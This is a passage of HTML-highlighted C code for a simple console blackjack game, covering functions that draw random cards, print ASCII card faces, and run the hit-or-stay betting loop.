FOLDER AS PROGRAM %c%c%c\n&quot;</span>, spade, heart, club, club, heart, spade);</span><br><span class="line">     <span class="built_in">printf</span>(<span class="string">&quot;\nWould you like to go the previous screen? (I will not take NO for an answer)&quot;</span>);</span><br><span class="line">     <span class="built_in">printf</span>(<span class="string">&quot;\n                  (Y/N)\n                    &quot;</span>);</span><br><span class="line"></span><br><span class="line">     <span class="built_in">scanf</span>(<span class="string">&quot;\n%c&quot;</span>,&amp;choice1);</span><br><span class="line">      </span><br><span class="line">    <span class="keyword">while</span>((choice1!=<span class="string">&#x27;Y&#x27;</span>) &amp;&amp; (choice1!=<span class="string">&#x27;y&#x27;</span>) &amp;&amp; (choice1!=<span class="string">&#x27;N&#x27;</span>) &amp;&amp; (choice1!=<span class="string">&#x27;n&#x27;</span>)) <span class="comment">// If invalid choice entered</span></span><br><span class="line">    &#123;                                                                           </span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;\n&quot;</span>);</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Incorrect Choice. Please Enter Y for Yes or N for No.\n&quot;</span>);</span><br><span class="line">        <span class="built_in">scanf</span>(<span class="string">&quot;%c&quot;</span>,&amp;choice1);</span><br><span class="line">    &#125;</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line">    <span class="keyword">if</span>((choice1 == <span class="string">&#x27;Y&#x27;</span>) || (choice1 == <span class="string">&#x27;y&#x27;</span>)) <span class="comment">// If yes, continue. Prints menu.</span></span><br><span class="line">    &#123; </span><br><span class="line">            <span class="built_in">printf</span>(<span class="string">&quot;\033[2J\033[1;1H&quot;</span>);</span><br><span class="line">            asktitle();</span><br><span class="line">    &#125; <span class="comment">// End if loop</span></span><br><span class="line">    </span><br><span class="line">             </span><br><span class="line"> </span><br><span class="line">    <span class="keyword">else</span> <span class="keyword">if</span>((choice1 == <span class="string">&#x27;N&#x27;</span>) || (choice1 == <span class="string">&#x27;n&#x27;</span>)) <span class="comment">// If no, convinces user to enter yes</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;\033[2J\033[1;1H&quot;</span>);</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;\n                 I told you so.\n&quot;</span>);</span><br><span class="line">        asktitle();</span><br><span class="line">    &#125;</span><br><span class="line">     </span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125; <span class="comment">// End function</span></span><br><span class="line"> </span><br><span class="line"><span class="type">int</span> <span class="title function_">clubcard</span><span class="params">()</span> <span class="comment">//Displays Club Card Image</span></span><br><span class="line">&#123;  </span><br><span class="line">   </span><br><span class="line">    srand((<span class="type">unsigned</span>) time(<span class="literal">NULL</span>)); <span class="comment">//Generates random seed for rand() function</span></span><br><span class="line">    k=rand()%<span class="number">13</span>+<span class="number">1</span>;</span><br><span class="line">     </span><br><span class="line">    <span class="keyword">if</span>(k&lt;=<span class="number">9</span>) <span class="comment">//If random number is 9 or less, print card with that number</span></span><br><span class="line">    &#123;</span><br><span class="line">    <span class="comment">//Club Card</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|%c    |\n&quot;</span>, club);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|  %d  |\n&quot;</span>, k);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|    %c|\n&quot;</span>, club);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">     </span><br><span class="line">     </span><br><span class="line">    <span class="keyword">if</span>(k==<span class="number">10</span>) <span class="comment">//If random number is 10, print card with J (Jack) on face</span></span><br><span class="line">    &#123;</span><br><span class="line">    <span class="comment">//Club Card</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|%c    |\n&quot;</span>, club);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|  J  |\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|    %c|\n&quot;</span>, club);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">     </span><br><span class="line">     </span><br><span class="line">    <span class="keyword">if</span>(k==<span class="number">11</span>) <span class="comment">//If random number is 11, print card with A (Ace) on face</span></span><br><span class="line">    &#123;</span><br><span class="line">    <span class="comment">//Club Card</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|%c    |\n&quot;</span>, club);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|  A  |\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|    %c|\n&quot;</span>, club);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span>(player_total&lt;=<span class="number">10</span>) <span class="comment">//If random number is Ace, change value to 11 or 1 depending on dealer total</span></span><br><span class="line">         &#123;</span><br><span class="line">             k=<span class="number">11</span>;</span><br><span class="line">         &#125;</span><br><span class="line">          </span><br><span class="line">         <span class="keyword">else</span></span><br><span class="line">         &#123;</span><br><span class="line"> </span><br><span class="line">             k=<span class="number">1</span>;</span><br><span class="line">         &#125;</span><br><span class="line">    &#125;</span><br><span class="line">     </span><br><span class="line">     </span><br><span class="line">    <span class="keyword">if</span>(k==<span class="number">12</span>) <span class="comment">//If random number is 12, print card with Q (Queen) on face</span></span><br><span class="line">    &#123;</span><br><span class="line">    <span class="comment">//Club Card</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|%c    |\n&quot;</span>, club);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|  Q  |\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|    %c|\n&quot;</span>, club);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    k=<span class="number">10</span>; <span class="comment">//Set card value to 10</span></span><br><span class="line">    &#125;</span><br><span class="line">     </span><br><span class="line">     </span><br><span class="line">    <span class="keyword">if</span>(k==<span class="number">13</span>) <span class="comment">//If random number is 13, print card with K (King) on face</span></span><br><span class="line">    &#123;</span><br><span class="line">    <span class="comment">//Club Card</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|%c    |\n&quot;</span>, club);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|  K  |\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|    %c|\n&quot;</span>, club);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    k=<span class="number">10</span>; <span class="comment">//Set card value to 10</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> k;           </span><br><span class="line">&#125;<span class="comment">// End function</span></span><br><span class="line"> </span><br><span class="line"><span class="type">int</span> <span class="title function_">diamondcard</span><span class="params">()</span> <span class="comment">//Displays Diamond Card Image</span></span><br><span class="line">&#123;</span><br><span class="line">     </span><br><span class="line">    srand((<span class="type">unsigned</span>) time(<span class="literal">NULL</span>)); <span class="comment">//Generates random seed for rand() function</span></span><br><span class="line">    k=rand()%<span class="number">13</span>+<span class="number">1</span>;</span><br><span class="line">     </span><br><span class="line">    <span class="keyword">if</span>(k&lt;=<span class="number">9</span>) <span class="comment">//If random number is 9 or less, print card with that number</span></span><br><span class="line">    &#123;</span><br><span class="line">    <span class="comment">//Diamond Card</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|%c    |\n&quot;</span>, diamond);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|  %d  |\n&quot;</span>, k);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|    %c|\n&quot;</span>, diamond);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">     </span><br><span class="line">    <span class="keyword">if</span>(k==<span class="number">10</span>) <span class="comment">//If random number is 10, print card with J (Jack) on face</span></span><br><span class="line">    &#123;</span><br><span class="line">    <span class="comment">//Diamond Card</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|%c    |\n&quot;</span>, diamond);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|  J  |\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|    %c|\n&quot;</span>, diamond);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">     </span><br><span class="line">    <span class="keyword">if</span>(k==<span class="number">11</span>) <span class="comment">//If random number is 11, print card with A (Ace) on face</span></span><br><span class="line">    &#123;</span><br><span class="line">    <span class="comment">//Diamond Card</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|%c    |\n&quot;</span>, diamond);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|  A  |\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|    %c|\n&quot;</span>, diamond);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span>(player_total&lt;=<span class="number">10</span>) <span class="comment">//If random number is Ace, change value to 11 or 1 depending on dealer total</span></span><br><span class="line">         &#123;</span><br><span class="line">             k=<span class="number">11</span>;</span><br><span class="line">         &#125;</span><br><span class="line">          </span><br><span class="line">         <span class="keyword">else</span></span><br><span class="line">         &#123;</span><br><span class="line">             k=<span class="number">1</span>;</span><br><span class="line">         &#125;</span><br><span class="line">    &#125;</span><br><span class="line">     </span><br><span class="line">    <span class="keyword">if</span>(k==<span class="number">12</span>) <span class="comment">//If random number is 12, print card with Q (Queen) on face</span></span><br><span class="line">    &#123;</span><br><span class="line">    <span class="comment">//Diamond Card</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|%c    |\n&quot;</span>, diamond);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|  Q  |\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|    %c|\n&quot;</span>, diamond);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    k=<span class="number">10</span>; <span class="comment">//Set card value to 10</span></span><br><span class="line">    &#125;</span><br><span class="line">     </span><br><span class="line">    <span class="keyword">if</span>(k==<span class="number">13</span>) <span class="comment">//If random number is 13, print card with K (King) on face</span></span><br><span class="line">    &#123;</span><br><span class="line">    <span class="comment">//Diamond Card</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|%c    |\n&quot;</span>, diamond);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|  K  |\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|    %c|\n&quot;</span>, diamond);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    k=<span class="number">10</span>; <span class="comment">//Set card value to 10</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> k;</span><br><span class="line">&#125;<span class="comment">// End function</span></span><br><span class="line"> </span><br><span class="line"><span class="type">int</span> <span class="title function_">heartcard</span><span class="params">()</span> <span class="comment">//Displays Heart Card Image</span></span><br><span class="line">&#123;</span><br><span class="line">     </span><br><span class="line">    srand((<span class="type">unsigned</span>) time(<span class="literal">NULL</span>)); <span class="comment">//Generates random seed for rand() function</span></span><br><span class="line">    k=rand()%<span class="number">13</span>+<span class="number">1</span>;</span><br><span class="line">     </span><br><span class="line">    <span class="keyword">if</span>(k&lt;=<span class="number">9</span>) <span class="comment">//If random number is 9 or less, print card with that number</span></span><br><span class="line">    &#123;</span><br><span class="line">    <span class="comment">//Heart Card</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|%c    |\n&quot;</span>, heart); </span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|  %d  |\n&quot;</span>, k);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|    %c|\n&quot;</span>, heart);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">     </span><br><span class="line">    <span class="keyword">if</span>(k==<span class="number">10</span>) <span class="comment">//If random number is 10, print card with J (Jack) on face</span></span><br><span class="line">    &#123;</span><br><span class="line">    <span class="comment">//Heart Card</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|%c    |\n&quot;</span>, heart);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|  J  |\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|    %c|\n&quot;</span>, heart);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">     </span><br><span class="line">    <span class="keyword">if</span>(k==<span class="number">11</span>) <span class="comment">//If random number is 11, print card with A (Ace) on face</span></span><br><span class="line">    &#123;</span><br><span class="line">    <span class="comment">//Heart Card</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|%c    |\n&quot;</span>, heart);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|  A  |\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|    %c|\n&quot;</span>, heart);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span>(player_total&lt;=<span class="number">10</span>) <span class="comment">//If random number is Ace, change value to 11 or 1 depending on dealer total</span></span><br><span class="line">         &#123;</span><br><span class="line">             k=<span class="number">11</span>;</span><br><span class="line">         &#125;</span><br><span class="line">          </span><br><span class="line">         <span class="keyword">else</span></span><br><span class="line">         &#123;</span><br><span class="line">             k=<span class="number">1</span>;</span><br><span class="line">         &#125;</span><br><span class="line">    &#125;</span><br><span class="line">     </span><br><span class="line">    <span class="keyword">if</span>(k==<span class="number">12</span>) <span class="comment">//If random number is 12, print card with Q (Queen) on face</span></span><br><span class="line">    &#123;</span><br><span class="line">    <span class="comment">//Heart Card</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|%c    |\n&quot;</span>, heart);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|  Q  |\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|    %c|\n&quot;</span>, heart);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    k=<span class="number">10</span>; <span class="comment">//Set card value to 10</span></span><br><span class="line">    &#125;</span><br><span class="line">     </span><br><span class="line">    <span class="keyword">if</span>(k==<span class="number">13</span>) <span class="comment">//If random number is 13, print card with K (King) on face</span></span><br><span class="line">    &#123;</span><br><span class="line">    <span class="comment">//Heart Card</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|%c    |\n&quot;</span>, heart);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|  K  |\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|    %c|\n&quot;</span>, heart);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    k=<span class="number">10</span>; <span class="comment">//Set card value to 10</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> k;</span><br><span class="line">&#125; <span class="comment">// End Function</span></span><br><span class="line"> </span><br><span class="line"><span class="type">int</span> <span class="title function_">spadecard</span><span class="params">()</span> <span class="comment">//Displays Spade Card Image</span></span><br><span class="line">&#123;</span><br><span class="line">     </span><br><span class="line">    srand((<span class="type">unsigned</span>) time(<span class="literal">NULL</span>)); <span class="comment">//Generates random seed for rand() function</span></span><br><span class="line">    k=rand()%<span class="number">13</span>+<span class="number">1</span>;</span><br><span class="line">     </span><br><span class="line">    <span class="keyword">if</span>(k&lt;=<span class="number">9</span>) <span class="comment">//If random number is 9 or less, print card with that number</span></span><br><span class="line">    &#123;</span><br><span class="line">    <span class="comment">//Spade Card</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|%c    |\n&quot;</span>, spade);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|  %d  |\n&quot;</span>, k);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|    %c|\n&quot;</span>, spade);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">     </span><br><span class="line">    <span class="keyword">if</span>(k==<span class="number">10</span>) <span class="comment">//If random number is 10, print card with J (Jack) on face</span></span><br><span class="line">    &#123;</span><br><span class="line">    <span class="comment">//Spade Card</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|%c    |\n&quot;</span>, spade);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|  J  |\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|    %c|\n&quot;</span>, spade);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">     </span><br><span class="line">    <span class="keyword">if</span>(k==<span class="number">11</span>) <span class="comment">//If random number is 11, print card with A (Ace) on face</span></span><br><span class="line">    &#123;</span><br><span class="line">    <span class="comment">//Spade Card</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|%c    |\n&quot;</span>, spade);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|  A  |\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|    %c|\n&quot;</span>, spade);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span>(player_total&lt;=<span class="number">10</span>) <span class="comment">//If random number is Ace, change value to 11 or 1 depending on dealer total</span></span><br><span class="line">         &#123;</span><br><span class="line">             k=<span class="number">11</span>;</span><br><span class="line">         &#125;</span><br><span class="line">          </span><br><span class="line">         <span class="keyword">else</span></span><br><span class="line">         &#123;</span><br><span class="line">             k=<span class="number">1</span>;</span><br><span class="line">         &#125;</span><br><span class="line">    &#125;</span><br><span class="line">     </span><br><span class="line">    <span class="keyword">if</span>(k==<span class="number">12</span>) <span class="comment">//If random number is 12, print card with Q (Queen) on face</span></span><br><span class="line">    &#123;</span><br><span class="line">    <span class="comment">//Spade Card</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|%c    |\n&quot;</span>, spade);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|  Q  |\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|    %c|\n&quot;</span>, spade);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    k=<span class="number">10</span>; <span class="comment">//Set card value to 10</span></span><br><span class="line">    &#125;</span><br><span class="line">     </span><br><span class="line">    <span class="keyword">if</span>(k==<span class="number">13</span>) <span class="comment">//If random number is 13, print card with K (King) on face</span></span><br><span class="line">    &#123;</span><br><span class="line">    <span class="comment">//Spade Card</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|%c    |\n&quot;</span>, spade);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|  K  |\n&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;|    %c|\n&quot;</span>, spade);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;-------\n&quot;</span>);</span><br><span class="line">    k=<span class="number">10</span>; <span class="comment">//Set card value to 10</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> k;</span><br><span class="line">&#125; <span class="comment">// End Function</span></span><br><span class="line"> </span><br><span class="line"><span class="type">int</span> <span class="title function_">randcard</span><span class="params">()</span> <span class="comment">//Generates random card</span></span><br><span class="line">&#123;</span><br><span class="line">                </span><br><span class="line">     srand((<span class="type">unsigned</span>) time(<span class="literal">NULL</span>)); <span class="comment">//Generates random seed for rand() function</span></span><br><span class="line">     random_card = rand()%<span class="number">4</span>+<span class="number">1</span>;</span><br><span class="line">      </span><br><span class="line">     <span class="keyword">if</span>(random_card==<span class="number">1</span>)</span><br><span class="line">     &#123;   </span><br><span class="line">         clubcard();</span><br><span class="line">         l=k;</span><br><span class="line">     &#125;</span><br><span class="line">      </span><br><span class="line">     <span class="keyword">if</span>(random_card==<span class="number">2</span>)</span><br><span class="line">     &#123;</span><br><span class="line">         diamondcard();</span><br><span class="line">         l=k;</span><br><span class="line">     &#125;</span><br><span class="line">      </span><br><span class="line">     <span class="keyword">if</span>(random_card==<span class="number">3</span>)</span><br><span class="line">     &#123;</span><br><span class="line">         heartcard();</span><br><span class="line">         l=k;</span><br><span class="line">     &#125;</span><br><span class="line">          </span><br><span class="line">     <span class="keyword">if</span>(random_card==<span class="number">4</span>)</span><br><span class="line">     &#123;</span><br><span class="line">         spadecard();</span><br><span class="line">         l=k;</span><br><span class="line">     &#125;    </span><br><span class="line">     <span class="keyword">return</span> l;</span><br><span class="line">&#125; <span class="comment">// End Function   </span></span><br><span class="line"></span><br><span class="line"> </span><br><span class="line"><span class="type">void</span> <span class="title function_">play</span><span class="params">()</span> <span class="comment">//Plays game</span></span><br><span class="line">&#123;</span><br><span class="line">      </span><br><span class="line">     <span class="type">int</span> p=<span class="number">0</span>; <span class="comment">// holds value of player_total</span></span><br><span class="line">     <span class="type">int</span> i=<span class="number">1</span>; <span class="comment">// counter for asking user to hold or stay (aka game turns)</span></span><br><span class="line">     <span class="type">char</span> choice3;</span><br><span class="line">      </span><br><span class="line">     cash = cash;</span><br><span class="line">     cash_test();</span><br><span class="line">     <span class="built_in">printf</span>(<span class="string">&quot;\nCash: $%d\n&quot;</span>,cash); <span class="comment">//Prints amount of cash user has</span></span><br><span class="line">     randcard(); <span class="comment">//Generates random card</span></span><br><span class="line">     player_total = p + l; <span class="comment">//Computes player total</span></span><br><span class="line">     p = player_total;</span><br><span class="line">     <span class="built_in">printf</span>(<span class="string">&quot;\nYour Total is %d\n&quot;</span>, p); <span class="comment">//Prints player total</span></span><br><span class="line">     dealer(); <span class="comment">//Computes and prints dealer total</span></span><br><span class="line">     betting(); <span class="comment">//Prompts user to enter bet amount</span></span><br><span class="line">        </span><br><span class="line">     <span class="keyword">while</span>(i&lt;=<span class="number">21</span>) <span class="comment">//While loop used to keep asking user to hit or stay at most twenty-one times</span></span><br><span class="line">                  <span class="comment">//  because there is a chance user can generate twenty-one consecutive 1&#x27;s</span></span><br><span class="line">     &#123;</span><br><span class="line">         <span class="keyword">if</span>(p==<span class="number">21</span>) <span class="comment">//If user total is 21, win</span></span><br><span class="line">         &#123;</span><br><span class="line">             <span class="built_in">printf</span>(<span class="string">&quot;\nUnbelievable! You Win!\n&quot;</span>);</span><br><span class="line">             won = won+<span class="number">1</span>;</span><br><span class="line">             cash = cash+bet;</span><br><span class="line">             <span class="built_in">printf</span>(<span class="string">&quot;\nYou have %d Wins and %d Losses. Awesome!\n&quot;</span>, won, loss);</span><br><span class="line">             dealer_total=<span class="number">0</span>;</span><br><span class="line">             askover();</span><br><span class="line">         &#125;</span><br><span class="line">      </span><br><span class="line">         <span class="keyword">if</span>(p&gt;<span class="number">21</span>) <span class="comment">//If player total is over 21, loss</span></span><br><span class="line">         &#123;</span><br><span class="line">             <span class="built_in">printf</span>(<span class="string">&quot;\nWoah Buddy, You Went WAY over.\n&quot;</span>);</span><br><span class="line">             loss = loss+<span class="number">1</span>;</span><br><span class="line">             cash = cash - bet;</span><br><span class="line">             <span class="built_in">printf</span>(<span class="string">&quot;\nYou have %d Wins and %d Losses. Awesome!\n&quot;</span>, won, loss);</span><br><span class="line">             dealer_total=<span class="number">0</span>;</span><br><span class="line">             askover();</span><br><span class="line">         &#125;</span><br><span class="line">      </span><br><span class="line">         <span class="keyword">if</span>(p&lt;=<span class="number">21</span>) <span class="comment">//If player total is less than 21, ask to hit or stay</span></span><br><span class="line">         &#123;         </span><br><span class="line">             <span class="built_in">printf</span>(<span class="string">&quot;\n\nWould You Like to Hit or Stay?&quot;</span>);</span><br><span class="line">              </span><br><span class="line">             <span class="built_in">scanf</span>(<span class="string">&quot;%c&quot;</span>, &amp;choice3);</span><br><span class="line">             <span class="keyword">while</span>((choice3!=<span class="string">&#x27;H&#x27;</span>) &amp;&amp; (choice3!=<span class="string">&#x27;h&#x27;</span>) &amp;&amp; (choice3!=<span class="string">&#x27;S&#x27;</span>) &amp;&amp; (choice3!=<span class="string">&#x27;s&#x27;</span>)) <span class="comment">// If invalid choice entered</span></span><br><span class="line">             &#123;                                                                           </span><br><span class="line">                 <span class="built_in">printf</span>(<span class="string">&quot;\n&quot;</span>);</span><br><span class="line">                 <span class="built_in">printf</span>(<span class="string">&quot;Please Enter H to Hit or S to Stay.\n&quot;</span>);</span><br><span class="line">                 <span class="built_in">scanf</span>(<span class="string">&quot;%c&quot;</span>,&amp;choice3);</span><br><span class="line">             &#125;</span><br><span class="line"> </span><br><span class="line">             <span class="keyword">if</span>((choice3==<span class="string">&#x27;H&#x27;</span>) || (choice3==<span class="string">&#x27;h&#x27;</span>)) <span class="comment">// If Hit, continues</span></span><br><span class="line">             &#123; </span><br><span class="line">                 randcard();</span><br><span class="line">                 player_total = p + l;</span><br><span class="line">                 p = player_total;</span><br><span class="line">                 <span class="built_in">printf</span>(<span class="string">&quot;\nYour Total is %d\n&quot;</span>, p);</span><br><span class="line">                 dealer();</span><br><span class="line">                  <span class="keyword">if</span>(dealer_total==<span class="number">21</span>) <span class="comment">//Is dealer total is 21, loss</span></span><br><span class="line">                  &#123;</span><br><span class="line">                      <span class="built_in">printf</span>(<span class="string">&quot;\nDealer Has the Better Hand. You Lose.\n&quot;</span>);</span><br><span class="line">                      loss = loss+<span class="number">1</span>;</span><br><span class="line">                      cash = cash - bet;</span><br><span class="line">                      <span class="built_in">printf</span>(<span class="string">&quot;\nYou have %d Wins and %d Losses. Awesome!\n&quot;</span>, won, loss);</span><br><span class="line">                      dealer_total=<span class="number">0</span>;</span><br><span class="line">                      askover();</span><br><span class="line">                  &#125; </span><br><span class="line">      </span><br><span class="line">                  <span class="keyword">if</span>(dealer_total&gt;<span class="number">21</span>) <span class="comment">//If dealer total is over 21, win</span></span><br><span class="line">                  &#123;                      </span><br><span class="line">                      <span class="built_in">printf</span>(<span class="string">&quot;\nDealer Has Went Over!. You Win!\n&quot;</span>);</span><br><span class="line">                      won = won+<span class="number">1</span>;</span><br><span class="line">                      cash = cash+bet;</span><br><span class="line">                      <span class="built_in">printf</span>(<span class="string">&quot;\nYou have %d Wins and %d Losses. Awesome!\n&quot;</span>, won, loss);</span><br><span class="line">                      dealer_total=<span class="number">0</span>;</span><br><span class="line">                      askover();</span><br><span class="line">                  &#125;</span><br><span class="line">             &#125;</span><br><span class="line">             <span class="keyword">if</span>((choice3==<span class="string">&#x27;S&#x27;</span>) || (choice3==<span class="string">&#x27;s&#x27;</span>)) <span class="comment">// If Stay, does not continue</span></span><br><span class="line">             &#123;</span><br><span class="line">                <span class="built_in">printf</span>(<span class="string">&quot;\nYou Have Chosen to Stay at %d. Wise Decision!\n&quot;</span>, player_total);</span><br><span class="line">                stay();</span><br><span class="line">             &#125;</span><br><span class="line">          &#125;</span><br><span 